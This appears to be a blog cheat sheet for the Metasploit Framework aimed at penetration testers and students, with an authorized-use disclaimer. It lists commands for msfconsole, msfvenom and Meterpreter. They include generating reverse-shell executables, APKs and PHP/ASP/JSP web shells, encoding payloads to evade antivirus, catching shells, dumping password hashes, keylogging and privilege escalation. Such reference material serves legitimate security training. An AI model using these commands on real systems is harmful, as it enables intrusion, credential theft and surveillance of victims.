By Manny Fernandez

November 24, 2026

Metasploit: A Cheat Sheet

Metasploit: A Cheat Sheet

No fluff. Just the config that works.

Executive Summary

The Metasploit Framework is the Swiss Army knife of exploitation: one console that searches thousands of modules, configures them with a handful of options, fires the exploit, and hands you a session on the far side. The power is also the problem. The command surface is large, the option names are inconsistent across modules, and half the commands you need live inside a Meterpreter session that behaves nothing like the console that spawned it.

This is the reference I keep open on a second monitor during an engagement. It is organized the way you actually work: launch, find a module, set it, run it, catch the shell, work the box, manage sessions, and keep your loot in the database. Every table is copy-paste ready. Nothing here is theory.

Objective: Give a working, grouped command reference for msfconsole, msfvenom, and Meterpreter that a practitioner can use without leaving the keyboard.

Target audience: Penetration testers, red teamers, SOC analysts validating findings, and students working through a lab or an OSCP-style course. Assumes you have a lab and legal authorization to use it.

Authorized use only. Metasploit is an offensive tool. Run it only against systems you own or have explicit written permission to test. Everything below assumes a lab you control or a scoped engagement with a signed authorization. Lab addressing here uses 10.0.0.0/16 for internal targets.

Prerequisites and Architecture

You should already be comfortable with a Linux shell, TCP/IP basics, and the idea of a reverse versus bind connection. Metasploit is pre-installed on Kali and Parrot; on anything else, use the official nightly installer from Rapid7.

Metasploit is modular. Almost everything you do is selecting a module, setting its options, and running it. The module types you will touch most:

Module type What it does Example path
exploit Delivers a payload by abusing a vulnerability exploit/windows/smb/ms17_010_eternalblue
payload The code that runs after the exploit lands windows/x64/meterpreter/reverse_tcp
auxiliary Scanners, fuzzers, and tools with no payload auxiliary/scanner/smb/smb_ms17_010
post Runs inside a session for loot and pivoting post/windows/gather/hashdump
encoder Re-encodes a payload to dodge bad chars or basic AV x86/shikata_ga_nai
nop Pads payloads so sleds and offsets line up x86/single_byte

Two payload facts that trip people up constantly. A staged payload (written with slashes, like windows/meterpreter/reverse_tcp) sends a small stub first, then pulls the rest over the network. A stageless payload (written with underscores, like windows/meterpreter_reverse_tcp) ships the whole thing in one blob. Staged is smaller on disk; stageless is more reliable through flaky connections and some defenses. Second: LHOST and LPORT belong to you, the listener. RHOSTS and RPORT belong to the target. Mixing those up is the single most common reason an exploit runs and nothing happens.

Cheat Sheet: Launch and Console Basics

Command What it does
msfconsole Start the console
msfconsole -q Start quiet, no banner
msfconsole -r file.rc Start and run a resource script
help or ? List core commands
version Show framework version
banner Print a fresh banner
connect 10.0.0.25 443 Built-in netcat clone
history Show command history
color false Turn off colored output
spool /tmp/msf.log Log all console output to a file
exit or quit Leave the console

Cheat Sheet: Finding and Selecting Modules

Command What it does
search eternalblue Search modules by keyword
search type:exploit platform:windows smb Filtered search by field
search cve:2017-0144 Search by CVE
use 0 Select a module by its search result number
use exploit/windows/smb/ms17_010_eternalblue Select a module by full path
info Show the selected module’s details
back Leave the current module context
previous Switch back to the previous module
show options List the module’s settings
show payloads List payloads compatible with this exploit
show targets List target platforms the exploit supports
show advanced List advanced options

Cheat Sheet: Setting Options and Running

Command What it does
set RHOSTS 10.0.0.25 Set the target host or range
set RPORT 445 Set the target port
set LHOST 10.0.0.10 Set your listener IP, yours not the target’s
set LPORT 4444 Set your listener port
set PAYLOAD windows/x64/meterpreter/reverse_tcp Pick the payload
setg LHOST 10.0.0.10 Set a global value that persists across modules
unset RHOSTS Clear one option
unsetg LHOST Clear a global option
check Test if the target is vulnerable without firing
exploit or run Launch the module
exploit -j Launch as a background job
exploit -z Launch but do not interact yet
jobs List running background jobs
kill 0 Kill a background job by id

Cheat Sheet: msfvenom Payload Generation

msfvenom replaced the old msfpayload and msfencode tools. It builds a standalone payload file in whatever format you need. The pattern is always: pick a payload, set LHOST and LPORT, choose a format, write it out.

Command What it does
msfvenom -l payloads List every payload
msfvenom -l formats List output formats
msfvenom -l encoders List encoders
msfvenom -p PAYLOAD –list-options Show one payload’s options
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f exe -o shell.exe Windows EXE
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f elf -o shell.elf Linux ELF
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f raw -o shell.php PHP web shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f asp -o shell.asp ASP web shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f raw -o shell.jsp JSP web shell
msfvenom -p android/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -o shell.apk Android APK
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -b “\x00\x0a\x0d” -f c Avoid bad characters, output C
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o enc.exe Encode five times

Flag reference: -p payload, -f output format, -o output file, -e encoder, -i iterations, -b bad characters, -a architecture, --platform target platform, -x inject into a template binary.

Cheat Sheet: Catching the Shell with multi/handler

A payload you generate with msfvenom still needs something listening to catch it. That something is the multi/handler.

Command What it does
use exploit/multi/handler Load the universal listener
set PAYLOAD windows/x64/meterpreter/reverse_tcp Match the payload you built
set LHOST 10.0.0.10 Match the LHOST you built in
set LPORT 4444 Match the LPORT you built in
exploit -j Start the handler as a background job

The payload set on the handler must match the payload baked into the file exactly, including staged versus stageless. A mismatch is the second most common reason a shell never connects.

Cheat Sheet: Meterpreter Post-Exploitation

Once a session opens you are in Meterpreter, not the console. Different prompt, different commands.

Command What it does
sysinfo OS, architecture, and hostname
getuid Show the user you are running as
getprivs List privileges held
ps List running processes
migrate 1234 Move into another process by PID
getsystem Attempt local privilege escalation to SYSTEM
hashdump Dump local password hashes
shell Drop to a native OS shell
download C:\file.txt /tmp/ Pull a file off the target
upload /tmp/tool.exe C:\ Push a file to the target
screenshot Capture the desktop
keyscan_start then keyscan_dump Start and read a keylogger
run post/windows/gather/hashdump Run a post module in session
background Drop the session to the background
exit Close the session

Cheat Sheet: Managing Sessions

Command What it does
sessions or sessions -l List active sessions
sessions -i 1 Interact with session 1
sessions -i 1 -c “sysinfo” Run one command in a session without entering it
sessions -u 1 Upgrade a basic shell to Meterpreter
sessions -k 1 Kill session 1
sessions -K Kill every session
Ctrl then Z Background the current session

Cheat Sheet: Database and Workspaces

Metasploit stores hosts, services, and loot in PostgreSQL so a long engagement stays organized and searchable. On Kali, start it with sudo msfdb init before launching the console.

Command What it does
db_status Confirm the database is connected
workspace List workspaces
workspace -a clientA Add and switch to a new workspace
workspace clientA Switch workspaces
db_nmap -sV 10.0.0.0/24 Run nmap and import results automatically
hosts List discovered hosts
services List discovered services
services -p 445 Filter services by port
vulns List known vulnerabilities per host
creds List captured credentials
loot List gathered loot
db_export -f xml out.xml Export the workspace

Cheat Sheet: Automation with Resource Scripts

A resource script is just a text file of console commands run in order. It turns a repetitive setup into one command.

Command What it does
makerc /tmp/last.rc Save your recent commands to a resource script
resource /tmp/last.rc Run a resource script inside the console
msfconsole -r handler.rc Launch the console straight into a script

A handler.rc that starts a listener on boot looks like this:

use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_tcp
set LHOST 10.0.0.10
set LPORT 4444
set ExitOnSession false
exploit -j

Verification and Validation

Three quick checks confirm your setup is healthy before you rely on it.

Confirm the console and database are talking:

msf6 > db_status
[*] Connected to msf. Connection type: postgresql.

Confirm a payload actually built, and sanity-check its size:

manny@kali:~$ msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.0.0.10 LPORT=4444 -f exe -o shell.exe
[*] Payload size: 510 bytes
[*] Saved as: shell.exe

Confirm your listener is up and waiting before you run the payload:

msf6 exploit(multi/handler) > exploit -j
[*] Started reverse TCP handler on 10.0.0.10:4444

When the payload fires, a healthy catch looks like [*] Meterpreter session 1 opened. That line is the whole game.

Troubleshooting and Gotchas

The exploit runs but no session opens. Almost always an LHOST or payload mismatch. Confirm LHOST is your IP on the network the target can reach, not 127.0.0.1 and not the target’s address. On a multi-homed box or a VPN, Metasploit may auto-fill the wrong interface. Diagnose with ifconfig for your real address, then set LHOST explicitly and re-run. If you are catching an msfvenom payload, confirm the handler’s PAYLOAD, LHOST, and LPORT match the file byte for byte, staged versus stageless included.

Database not connected. If db_status says no database, the PostgreSQL service is down or msfdb was never initialized. Fix it from the shell, not the console:

manny@kali:~$ sudo msfdb init
manny@kali:~$ sudo systemctl start postgresql

Then relaunch msfconsole and run db_status again. Workspaces, hosts, and db_nmap all silently do nothing without this.

search returns nothing or feels stale. The module cache can drift after an update. Rebuild it from inside the console:

msf6 > reload_all

If a module you know exists still will not appear, update the framework itself with sudo apt update then sudo apt install metasploit-framework on Kali, and remember that keyword search is matched against module metadata, so try the CVE or the platform instead of the marketing name.

References

Burp Suite Install and First Use: Proxy, CA Certificate, Repeater and Intruder

Burp Suite Install and First Use: Proxy, CA Certificate, Repeater and Intruder

Burp Suite install guide for Windows, macOS and Linux: set up the proxy listener, trust the CA certificate, and use Repeater and Intruder on...

Read More
JPMorgan Chase Data Leak Claim by n0n: What Is Confirmed and What Is Not

JPMorgan Chase Data Leak Claim by n0n: What Is Confirmed and What Is Not

The n0n gang posted a JPMorgan Chase data leak. See what is confirmed, what is only claimed, and the controls defenders should apply this...

Read More
AI Primer: Models, RAG, MCP, Harnesses and Agents Explained

AI Primer: Models, RAG, MCP, Harnesses and Agents Explained

A plain-language AI primer: models, tokens, RAG, MCP, harnesses and agents explained with everyday analogies so you can follow any AI conversation.

Read More